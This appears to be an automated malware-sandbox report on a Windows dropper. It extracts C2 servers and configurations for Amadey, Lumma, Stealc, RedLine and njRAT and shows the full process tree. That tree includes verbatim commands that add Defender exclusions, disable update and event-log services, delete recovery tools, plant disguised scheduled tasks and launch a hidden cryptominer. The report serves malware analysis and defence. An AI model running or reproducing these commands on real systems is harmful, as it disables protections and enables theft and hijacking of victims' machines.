Overview

overview

10

Static

static

3

4b73271047...71.exe

windows10-2004-x64

10

4b73271047...71.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250619-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/07/2025, 00:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    4b732710474dfa2485421f22a3430e71.exe
  • Size 3.2MB
  • Sample250718-aee2bstzhy
  • SHA256 3d5b6a4d84b4f6d701e351024294c3c66f40c54e3cb5a08f58efd2d4db2befc2
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeyaurotunlummanjratredlinestealcvidar9fa1e2causetest7tototodefense_evasiondiscoveryexecutioninfostealerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 5.50

Botnet

  • 9fa1e2

C2

  • http://176.46.157.50

Attributes
  • install_dir

    bd4cae89c3

  • install_file

    suker.exe

  • strings_key

    a27669e4fa4aae7e94baf28c7141a7c8

  • url_paths

    /tu3d2rom/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://skdgh.top/riwq

  • https://gigohe.top/diau

  • https://unxyng.top/zpld

  • https://trbxlj.top/atiw

  • https://annwt.xyz/xkan

  • https://blihlo.shop/atkg

  • https://gehkmx.top/xkaj

  • https://sacrp.top/amnt

  • https://dktnd.top/xuqi

Attributes
  • build_id

    36f13d0e71139ffd77ae375e9fcf4d38

Extracted

Family

  • stealc

Botnet

  • cause

C2

  • http://45.141.233.187

Attributes
  • url_path

    /7d1ca61c169b4862.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • TOTOTO

C2

  • 78.141.210.201:27221

Extracted

Family

  • njrat

Version

  • Njrat 0.7 Golden By Hassan Amiri

Botnet

  • test7

C2

  • 82.147.84.124:1987

Mutex

  • Windows Update

Attributes
  • reg_key

    Windows Update

  • splitter

    |Hassan|

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Aurotun

    Aurotun is a stealer written in C++.

    stealeraurotun
  • Aurotun family
    aurotun
  • Detect Vidar Stealer 1 IoCs
    stealer
  • Detects Aurotun stealer 1 IoCs
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Njrat family
    njrat
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • Redline family
    redline
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 24 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Loads dropped DLL 13 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Themida packer 12 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 23 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 61 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Kills process with taskkill 4 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4b732710474dfa2485421f22a3430e71.exe
    "C:\Users\Admin\AppData\Local\Temp\4b732710474dfa2485421f22a3430e71.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\ye5Z0jw\0I9wd1kW.exe
      "C:\ye5Z0jw\0I9wd1kW.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c ""C:\ye5Z0jw\2ESYRG77.exe" x -aoa -bso0 -bsp1 "C:\ye5Z0jw\QPyNAGt9.zip" -pO8xIE52a -o"C:\ye5Z0jw""
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3644
        • C:\ye5Z0jw\2ESYRG77.exe
          "C:\ye5Z0jw\2ESYRG77.exe" x -aoa -bso0 -bsp1 "C:\ye5Z0jw\QPyNAGt9.zip" -pO8xIE52a -o"C:\ye5Z0jw"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4844
      • C:\ye5Z0jw\XW73dTx9.exe
        "C:\ye5Z0jw\XW73dTx9.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
          "C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe"
          4⤵
          • Downloads MZ/PE file
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4644
          • C:\Users\Admin\AppData\Local\Temp\10112450101\arpQ5ZH.exe
            "C:\Users\Admin\AppData\Local\Temp\10112450101\arpQ5ZH.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1520
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              6⤵
                PID:5012
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4308
            • C:\Users\Admin\AppData\Local\Temp\10112480101\amnew.exe
              "C:\Users\Admin\AppData\Local\Temp\10112480101\amnew.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:832
              • C:\Users\Admin\AppData\Local\Temp\a8ad2db77f\taken.exe
                "C:\Users\Admin\AppData\Local\Temp\a8ad2db77f\taken.exe"
                6⤵
                • Downloads MZ/PE file
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4216
                • C:\Users\Admin\AppData\Local\Temp\10000020101\setup.exe
                  "C:\Users\Admin\AppData\Local\Temp\10000020101\setup.exe"
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:5696
                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7zr.exe
                    "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7zr.exe" x -aoa -p"ZIAVxZexWIuFX2MC2tJIZg" setup.7z
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1384
                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\AutoIt3_x64.exe
                    "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\AutoIt3_x64.exe" setup.dll
                    8⤵
                    • Executes dropped EXE
                    PID:5884
                  • C:\Users\Admin\AppData\Local\Temp\10000020101\setup.exe
                    "C:\Users\Admin\AppData\Local\Temp\10000020101\setup.exe" -sfxwaitall:1 "choice" /C Y /T 2 /D Y >nul
                    8⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:6032
                    • C:\Windows\System32\choice.exe
                      "C:\Windows\System32\choice.exe" /C Y /T 2 /D Y >nul
                      9⤵
                        PID:6104
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                      8⤵
                        PID:5616
                    • C:\Users\Admin\AppData\Local\Temp\10000160101\alex12312.exe
                      "C:\Users\Admin\AppData\Local\Temp\10000160101\alex12312.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:5752
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                        8⤵
                          PID:5816
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                          8⤵
                            PID:2980
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            8⤵
                              PID:1572
                          • C:\Users\Admin\AppData\Local\Temp\10000170101\cron20251.exe
                            "C:\Users\Admin\AppData\Local\Temp\10000170101\cron20251.exe"
                            7⤵
                              PID:5428
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                8⤵
                                  PID:1672
                              • C:\Users\Admin\AppData\Local\Temp\10000180101\cron20252.exe
                                "C:\Users\Admin\AppData\Local\Temp\10000180101\cron20252.exe"
                                7⤵
                                  PID:2840
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                    8⤵
                                      PID:1204
                                  • C:\Users\Admin\AppData\Local\Temp\10000200101\Fold.exe
                                    "C:\Users\Admin\AppData\Local\Temp\10000200101\Fold.exe"
                                    7⤵
                                      PID:2804
                                • C:\Users\Admin\AppData\Local\Temp\10113510101\FypNDh8.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10113510101\FypNDh8.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  PID:636
                                • C:\Users\Admin\AppData\Local\Temp\10114460101\gwerfmJ.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10114460101\gwerfmJ.exe"
                                  5⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Checks whether UAC is enabled
                                  • System Location Discovery: System Language Discovery
                                  • Checks processor information in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5676
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                    6⤵
                                      PID:3228
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                      6⤵
                                        PID:3460
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                        6⤵
                                          PID:3228
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                          6⤵
                                            PID:5500
                                          • C:\Users\Admin\Documents\AD58Jf825RmM.exe
                                            "C:\Users\Admin\Documents\AD58Jf825RmM.exe"
                                            6⤵
                                              PID:5232
                                              • C:\Windows\SYSTEM32\cmd.exe
                                                cmd.exe /C net session
                                                7⤵
                                                  PID:720
                                                  • C:\Windows\system32\net.exe
                                                    net session
                                                    8⤵
                                                      PID:1160
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 session
                                                        9⤵
                                                          PID:1280
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell.exe -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath 'C:\ProgramData\'; Add-MpPreference -ExclusionPath 'C:\Windows\'
                                                      7⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:5600
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe stop wuauserv
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:5204
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe stop UsoSvc
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:5344
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe stop bits
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:4328
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe stop dosvc
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:4236
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe stop WaaSMedicSvc
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:5388
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe stop eventlog
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:6340
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe config wuauserv start= disabled
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:6496
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe config bits start= disabled
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:6744
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe config dosvc start= disabled
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:6908
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe config WaaSMedicSvc start= disabled
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:7040
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc.exe config eventlog start= disabled
                                                      7⤵
                                                      • Launches sc.exe
                                                      PID:6180
                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                      cmd.exe /C rmdir /S /Q "C:\\inetpub"
                                                      7⤵
                                                        PID:4804
                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                        cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                        7⤵
                                                          PID:2004
                                                          • C:\Windows\system32\wusa.exe
                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                            8⤵
                                                              PID:3508
                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                            cmd.exe /c "reagentc.exe /disable && takeown /f "C:\Windows\System32\reagentc.exe" && icacls "C:\Windows\System32\reagentc.exe" /grant administrators:F && del /f /q "C:\Windows\System32\reagentc.exe"
                                                            7⤵
                                                              PID:6408
                                                              • C:\Windows\system32\ReAgentc.exe
                                                                reagentc.exe /disable
                                                                8⤵
                                                                  PID:6328
                                                                • C:\Windows\system32\takeown.exe
                                                                  takeown /f "C:\Windows\System32\reagentc.exe"
                                                                  8⤵
                                                                  • Modifies file permissions
                                                                  PID:6500
                                                            • C:\Users\Admin\Documents\G2b66jOEG3Pz.exe
                                                              "C:\Users\Admin\Documents\G2b66jOEG3Pz.exe"
                                                              6⤵
                                                                PID:4448
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  "cmd.exe" /c schtasks /create /tn "OneDrive Startup Task-S-2-5-25" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\oobe.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /sc minute /mo 1 /it /F
                                                                  7⤵
                                                                    PID:3440
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /create /tn "OneDrive Startup Task-S-2-5-25" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\oobe.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /sc minute /mo 1 /it /F
                                                                      8⤵
                                                                      • Scheduled Task/Job: Scheduled Task
                                                                      PID:5208
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    "cmd.exe" /c timeout 5 >nul && del "C:\Users\Admin\Documents\G2b66jOEG3Pz.exe"
                                                                    7⤵
                                                                      PID:3196
                                                                      • C:\Windows\system32\timeout.exe
                                                                        timeout 5
                                                                        8⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:5708
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\10114460101\gwerfmJ.exe
                                                                    6⤵
                                                                      PID:5372
                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                        timeout /t 5
                                                                        7⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:5828
                                                                  • C:\Users\Admin\AppData\Local\Temp\10115260101\E56Hmst.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10115260101\E56Hmst.exe"
                                                                    5⤵
                                                                      PID:5792
                                                                      • C:\Users\Admin\AppData\Local\Temp\10115260101\E56Hmst.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10115260101\E56Hmst.exe"
                                                                        6⤵
                                                                          PID:4200
                                                                      • C:\Users\Admin\AppData\Local\Temp\10115930101\0m410bx.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10115930101\0m410bx.exe"
                                                                        5⤵
                                                                          PID:6048
                                                                        • C:\Users\Admin\AppData\Local\Temp\10116170101\H43M3PI.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\10116170101\H43M3PI.exe"
                                                                          5⤵
                                                                            PID:6112
                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                              6⤵
                                                                                PID:5364
                                                                            • C:\Users\Admin\AppData\Local\Temp\10116840101\WtUFZzT.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\10116840101\WtUFZzT.exe"
                                                                              5⤵
                                                                                PID:5492
                                                                              • C:\Users\Admin\AppData\Local\Temp\10116880101\wJc43xr.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10116880101\wJc43xr.exe"
                                                                                5⤵
                                                                                  PID:2728
                                                                                  • C:\Users\Admin\AppData\Roaming\vHw6JAS8DT.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\vHw6JAS8DT.exe"
                                                                                    6⤵
                                                                                      PID:5880
                                                                                      • C:\Users\Admin\AppData\Roaming\host.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\host.exe"
                                                                                        7⤵
                                                                                          PID:2916
                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                            schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
                                                                                            8⤵
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:5560
                                                                                      • C:\Users\Admin\AppData\Roaming\5gmurYfGlJ.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\5gmurYfGlJ.exe"
                                                                                        6⤵
                                                                                          PID:5868
                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                            "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                                                                            7⤵
                                                                                              PID:4260
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                                                                                8⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                PID:3920
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                                                                                8⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                PID:5176
                                                                                            • C:\Windows\explorer.exe
                                                                                              C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=44zzLUMhcrP7sjkfZjxvqnGvgGqP58tgeUacQqszunBoaz7s4ujF1BA6Kj1H4Pj9ojaFNk7pVBSA483dqJuz3CxhQjeBkRJ --pass=z --cpu-max-threads-hint=80 --cinit-idle-wait=5 --cinit-idle-cpu=50 --tls
                                                                                              7⤵
                                                                                                PID:3080
                                                                                          • C:\Users\Admin\AppData\Local\Temp\10117330101\qd4dOFD.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\10117330101\qd4dOFD.exe"
                                                                                            5⤵
                                                                                              PID:2528
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                6⤵
                                                                                                  PID:3296
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ff85d12dcf8,0x7ff85d12dd04,0x7ff85d12dd10
                                                                                                    7⤵
                                                                                                      PID:5656
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1992,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1988 /prefetch:2
                                                                                                      7⤵
                                                                                                        PID:5368
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2100,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2112 /prefetch:3
                                                                                                        7⤵
                                                                                                          PID:3124
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2232,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2244 /prefetch:8
                                                                                                          7⤵
                                                                                                            PID:3056
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3164,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3176 /prefetch:1
                                                                                                            7⤵
                                                                                                              PID:5352
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3204 /prefetch:1
                                                                                                              7⤵
                                                                                                                PID:720
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4212,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4224 /prefetch:2
                                                                                                                7⤵
                                                                                                                  PID:4940
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4532,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3844 /prefetch:1
                                                                                                                  7⤵
                                                                                                                    PID:1396
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4764,i,12283695640440027704,8627647178939116672,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5080 /prefetch:8
                                                                                                                    7⤵
                                                                                                                      PID:3152
                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
